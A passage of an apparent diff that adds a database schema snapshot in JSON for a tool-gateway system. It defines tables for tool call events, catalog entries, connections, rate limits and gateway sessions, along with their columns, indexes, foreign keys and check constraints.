"type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_call_events_company_created_idx": { + "name": "tool_call_events_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_call_events_run_idx": { + "name": "tool_call_events_run_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_call_events_issue_idx": { + "name": "tool_call_events_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_call_events_invocation_idx": { + "name": "tool_call_events_invocation_idx", + "columns": [ + { + "expression": "invocation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_call_events_gateway_idx": { + "name": "tool_call_events_gateway_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "gateway_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_call_events_company_id_companies_id_fk": { + "name": "tool_call_events_company_id_companies_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_call_events_agent_id_agents_id_fk": { + "name": "tool_call_events_agent_id_agents_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_run_id_heartbeat_runs_id_fk": { + "name": "tool_call_events_run_id_heartbeat_runs_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_issue_id_issues_id_fk": { + "name": "tool_call_events_issue_id_issues_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_gateway_id_tool_mcp_gateways_id_fk": { + "name": "tool_call_events_gateway_id_tool_mcp_gateways_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "gateway_id" + ], + "tableTo": "tool_mcp_gateways", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": { + "name": "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "gateway_token_id" + ], + "tableTo": "tool_mcp_gateway_tokens", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_application_id_tool_applications_id_fk": { + "name": "tool_call_events_application_id_tool_applications_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "application_id" + ], + "tableTo": "tool_applications", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_connection_id_tool_connections_id_fk": { + "name": "tool_call_events_connection_id_tool_connections_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk": { + "name": "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "catalog_entry_id" + ], + "tableTo": "tool_catalog_entries", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_invocation_id_tool_invocations_id_fk": { + "name": "tool_call_events_invocation_id_tool_invocations_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "invocation_id" + ], + "tableTo": "tool_invocations", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_action_request_id_tool_action_requests_id_fk": { + "name": "tool_call_events_action_request_id_tool_action_requests_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "action_request_id" + ], + "tableTo": "tool_action_requests", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk": { + "name": "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk", + "tableFrom": "tool_call_events", + "columnsFrom": [ + "runtime_slot_id" + ], + "tableTo": "tool_runtime_slots", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_catalog_entries": { + "name": "tool_catalog_entries", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "entry_kind": { + "name": "entry_kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'tool'" + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tool_name": { + "name": "tool_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "input_schema": { + "name": "input_schema", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "output_schema": { + "name": "output_schema", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "annotations": { + "name": "annotations", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "risk_level": { + "name": "risk_level", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'read'" + }, + "is_read_only": { + "name": "is_read_only", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "is_write": { + "name": "is_write", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "is_destructive": { + "name": "is_destructive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "version": { + "name": "version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "version_hash": { + "name": "version_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "schema_hash": { + "name": "schema_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "first_seen_at": { + "name": "first_seen_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "last_seen_at": { + "name": "last_seen_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "reviewed_at": { + "name": "reviewed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "reviewed_by_agent_id": { + "name": "reviewed_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "reviewed_by_user_id": { + "name": "reviewed_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "quarantined_at": { + "name": "quarantined_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "quarantine_reason": { + "name": "quarantine_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_catalog_entries_company_idx": { + "name": "tool_catalog_entries_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_catalog_entries_application_idx": { + "name": "tool_catalog_entries_application_idx", + "columns": [ + { + "expression": "application_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_catalog_entries_connection_idx": { + "name": "tool_catalog_entries_connection_idx", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_catalog_entries_company_status_idx": { + "name": "tool_catalog_entries_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_catalog_entries_connection_name_uq": { + "name": "tool_catalog_entries_connection_name_uq", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_catalog_entries_company_id_companies_id_fk": { + "name": "tool_catalog_entries_company_id_companies_id_fk", + "tableFrom": "tool_catalog_entries", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_catalog_entries_application_id_tool_applications_id_fk": { + "name": "tool_catalog_entries_application_id_tool_applications_id_fk", + "tableFrom": "tool_catalog_entries", + "columnsFrom": [ + "application_id" + ], + "tableTo": "tool_applications", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_catalog_entries_connection_id_tool_connections_id_fk": { + "name": "tool_catalog_entries_connection_id_tool_connections_id_fk", + "tableFrom": "tool_catalog_entries", + "columnsFrom": [ + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk": { + "name": "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk", + "tableFrom": "tool_catalog_entries", + "columnsFrom": [ + "reviewed_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_connection_installs": { + "name": "tool_connection_installs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_id": { + "name": "target_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_connection_installs_company_target_idx": { + "name": "tool_connection_installs_company_target_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_connection_installs_connection_idx": { + "name": "tool_connection_installs_connection_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_connection_installs_target_uq": { + "name": "tool_connection_installs_target_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_connection_installs_company_id_companies_id_fk": { + "name": "tool_connection_installs_company_id_companies_id_fk", + "tableFrom": "tool_connection_installs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_connection_installs_connection_id_tool_connections_id_fk": { + "name": "tool_connection_installs_connection_id_tool_connections_id_fk", + "tableFrom": "tool_connection_installs", + "columnsFrom": [ + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_connection_installs_created_by_agent_id_agents_id_fk": { + "name": "tool_connection_installs_created_by_agent_id_agents_id_fk", + "tableFrom": "tool_connection_installs", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "tool_connection_installs_target_type_check": { + "name": "tool_connection_installs_target_type_check", + "value": "\"tool_connection_installs\".\"target_type\" in ('company', 'agent')" + } + }, + "isRLSEnabled": false + }, + "public.tool_connections": { + "name": "tool_connections", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "uid": { + "name": "uid", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "connection_kind": { + "name": "connection_kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'managed'" + }, + "ownership": { + "name": "ownership", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'customer'" + }, + "transport": { + "name": "transport", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "auth_kind": { + "name": "auth_kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'none'" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'draft'" + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "transport_config": { + "name": "transport_config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "credential_refs": { + "name": "credential_refs", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "credential_secret_refs": { + "name": "credential_secret_refs", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "health_status": { + "name": "health_status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unchecked'" + }, + "health_message": { + "name": "health_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "health_checked_at": { + "name": "health_checked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_health_at": { + "name": "last_health_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_catalog_refresh_at": { + "name": "last_catalog_refresh_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_connections_company_idx": { + "name": "tool_connections_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_connections_application_idx": { + "name": "tool_connections_application_idx", + "columns": [ + { + "expression": "application_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_connections_company_enabled_idx": { + "name": "tool_connections_company_enabled_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "enabled", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_connections_company_uid_uq": { + "name": "tool_connections_company_uid_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "uid", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_connections_company_id_companies_id_fk": { + "name": "tool_connections_company_id_companies_id_fk", + "tableFrom": "tool_connections", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_connections_application_id_tool_applications_id_fk": { + "name": "tool_connections_application_id_tool_applications_id_fk", + "tableFrom": "tool_connections", + "columnsFrom": [ + "application_id" + ], + "tableTo": "tool_applications", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "tool_connections_created_by_agent_id_agents_id_fk": { + "name": "tool_connections_created_by_agent_id_agents_id_fk", + "tableFrom": "tool_connections", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "tool_connections_company_id_uq": { + "name": "tool_connections_company_id_uq", + "columns": [ + "company_id", + "id" + ], + "nullsNotDistinct": false + } + }, + "policies": {}, + "checkConstraints": { + "tool_connections_ownership_check": { + "name": "tool_connections_ownership_check", + "value": "\"tool_connections\".\"ownership\" in ('platform_shared', 'platform_provisioned', 'customer', 'dcr')" + }, + "tool_connections_transport_check": { + "name": "tool_connections_transport_check", + "value": "\"tool_connections\".\"transport\" in ('mcp_remote', 'rest_api', 'local_stdio')" + }, + "tool_connections_auth_kind_check": { + "name": "tool_connections_auth_kind_check", + "value": "\"tool_connections\".\"auth_kind\" in ('oauth', 'api_key', 'none')" + } + }, + "isRLSEnabled": false + }, + "public.tool_gateway_rate_limit_counters": { + "name": "tool_gateway_rate_limit_counters", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "counter_key": { + "name": "counter_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "window_start_at": { + "name": "window_start_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "window_ms": { + "name": "window_ms", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "limit": { + "name": "limit", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "count": { + "name": "count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "reset_at": { + "name": "reset_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_gateway_rate_limit_counters_company_idx": { + "name": "tool_gateway_rate_limit_counters_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_gateway_rate_limit_counters_window_uq": { + "name": "tool_gateway_rate_limit_counters_window_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "counter_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "window_start_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_gateway_rate_limit_counters_company_id_companies_id_fk": { + "name": "tool_gateway_rate_limit_counters_company_id_companies_id_fk", + "tableFrom": "tool_gateway_rate_limit_counters", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_gateway_sessions": { + "name": "tool_gateway_sessions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_id": { + "name": "gateway_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_token_id": { + "name": "gateway_token_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_public_id": { + "name": "gateway_public_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_subject_type": { + "name": "client_subject_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_subject_id": { + "name": "client_subject_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_name": { + "name": "client_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "mcp_session_id": { + "name": "mcp_session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "correlation_id": { + "name": "correlation_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_gateway_sessions_token_hash_uq": { + "name": "tool_gateway_sessions_token_hash_uq", + "columns": [ + { + "expression": "token_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_gateway_sessions_company_agent_idx": { + "name": "tool_gateway_sessions_company_agent_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_gateway_sessions_company_expires_idx": { + "name": "tool_gateway_sessions_company_expires_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_gateway_sessions_run_idx": { + "name": "tool_gateway_sessions_run_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_gateway_sessions_issue_idx": { + "name": "tool_gateway_sessions_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_gateway_sessions_gateway_idx": { + "name": "tool_gateway_sessions_gateway_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "gateway_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_gateway_sessions_company_id_companies_id_fk": { + "name": "tool_gateway_sessions_company_id_companies_id_fk", + "tableFrom": "tool_gateway_sessions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_gateway_sessions_agent_id_agents_id_fk": { + "name": "tool_gateway_sessions_agent_id_agents_id_fk", + "tableFrom": "tool_gateway_sessions", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_gateway_sessions_run_id_heartbeat_runs_id_fk": { + "name": "tool_gateway_sessions_run_id_heartbeat_runs_id_fk", + "tableFrom": "tool_gateway_sessions", + "columnsFrom": [ + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_gateway_sessions_issue_id_issues_id_fk": { + "name": "tool_gateway_sessions_issue_id_issues_id_fk", + "tableFrom": "tool_gateway_sessions", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_gateway_sessions_project_id_projects_id_fk": { + "name": "tool_gateway_sessions_project_id_projects_id_fk", + "tableFrom": "tool_gateway_sessions", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk": { + "name": "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk", + "tableFrom": "tool_gateway_sessions", + "columnsFrom": [ + "gateway_id" + ], + "tableTo": "tool_mcp_gateways", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk": { + "name": "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk", + "tableFrom": "tool_gateway_sessions", + "columnsFrom": [ + "gateway_token_id" + ], + "tableTo": "tool_mcp_gateway_tokens", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_invocations": { + "name": "tool_invocations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actor_type": { + "name": "actor_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'system'" + }, + "actor_id": { + "name": "actor_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + 